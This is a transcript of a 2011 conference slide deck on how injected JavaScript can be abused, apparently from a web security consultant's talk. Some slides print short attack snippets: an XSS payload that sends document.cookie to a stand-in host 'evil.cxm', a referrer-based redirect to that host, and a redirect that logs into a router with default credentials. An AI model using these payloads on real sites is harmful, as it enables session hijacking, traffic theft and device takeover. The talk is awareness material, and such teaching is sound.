javascript-gone-wild-withreferences-attributions-111003035611-php

16
JAVASCRIPT goneWILD Akash Mahajan | jsFoo 2011

Upload: apoorvi-kapoor

Post on 12-Jan-2015

471 views

Category:

Education


0 download

DESCRIPTION

 

TRANSCRIPT

Page 1: javascript-gone-wild-withreferences-attributions-111003035611-php

JAVASCRIPT goneWILD

Akash Mahajan | jsFoo 2011

Page 2: javascript-gone-wild-withreferences-attributions-111003035611-php

WARNING

NSFWDon’t say I didn’t warn you. This presentation is Not Safe For Work.

Page 3: javascript-gone-wild-withreferences-attributions-111003035611-php

Don’t worry

I swear this presentation doesn’t have dirty pictures in it.

No Dirty Pictures

Page 4: javascript-gone-wild-withreferences-attributions-111003035611-php

DISCLAIMER

This presentation is low on technical content.

Tech Lite

Page 5: javascript-gone-wild-withreferences-attributions-111003035611-php

Why bother?

Planting the seed of an idea.

INCEPTION

Page 6: javascript-gone-wild-withreferences-attributions-111003035611-php

What is the idea?JavaScript code showing up in unexpected places can have unintended consequences.

Can you have fun and profit from this somehow?

Page 7: javascript-gone-wild-withreferences-attributions-111003035611-php

Wild Idea #1• Stealing a session cookie

<script> ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src","http://evil.cxm/cookiestealer?

stolencookie" + document.cookie); document.body.appendChild(ifrm); </script>

Firesheep also does session hijacking by stealing cookies in transit.

Page 8: javascript-gone-wild-withreferences-attributions-111003035611-php

Wild Idea #1.5

One can steal username and password with JS in a login form.

Page 9: javascript-gone-wild-withreferences-attributions-111003035611-php

Wilder Idea #2• Stealing the Google page rank

if(document.referrer == 'google') { var locationurl = 'http://evil.cxm/google1.php'; location.href = locationurl; }

Do you regularly check the link you get from google to your site?

Page 10: javascript-gone-wild-withreferences-attributions-111003035611-php

Wilder Idea #2.5

What if the JavaScript redirects users to a malicious download page?

Page 11: javascript-gone-wild-withreferences-attributions-111003035611-php

Wildest Idea #3• Login to an internal ADSL router website using a

default username and password. var loginUrl = ‘http://admin:[email protected]/’; document.location = loginUrl;

Obviously you all have changed the default password long back, right

Page 12: javascript-gone-wild-withreferences-attributions-111003035611-php

Wildest Idea #3.5

Allowing untrusted code in the browser is not the smartest thing to do.

Page 13: javascript-gone-wild-withreferences-attributions-111003035611-php

His WILDNESS!!!

Samy Kamkar wrote JS code to get more friends in MySpace. At one point he had over a million friends in less than 24 hours

Page 14: javascript-gone-wild-withreferences-attributions-111003035611-php

Jumping to conclusions

JavaScript can be pretty wild if it shows up in unexpected places. The very idea that outside code is allowed execution in the browser is radical and dangerous.

Page 15: javascript-gone-wild-withreferences-attributions-111003035611-php

PIMPING MYSELF/ QnA

Akash Mahajan Web Security Consultant

http://akashm.com | @makash [email protected] | 9980527182

Page 16: javascript-gone-wild-withreferences-attributions-111003035611-php

References, Attribution• Image on slide 12 has been taken from a presentation by Jeremiah Grossman at Black

Hat 2006 conference. o http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf

• Image on slide 13 has been taken from http://www.flickr.com/photos/iscteiul/ . The image is available for reuse under Creative Commons.

• Some Reference Linkso JavaScript History Stealing Attack

http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.htmlo Samy is my Hero – MySpace XSS Worm

http://namb.la/popular/tech.htmlo JavaScript to steal session cookies

http://jehiah.cz/a/xss-stealing-cookies-101 http://www.go4expert.com/forums/showthread.php?t=17066 http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/

o Trailer of the Movie ‘The Dirty Picture’ http://www.youtube.com/thedirtypicturefilm

o Ending of the movie inception explained. http://screenrant.com/inception-spoilers-discussion-kofi-68330/

• 06-Grossman.pdf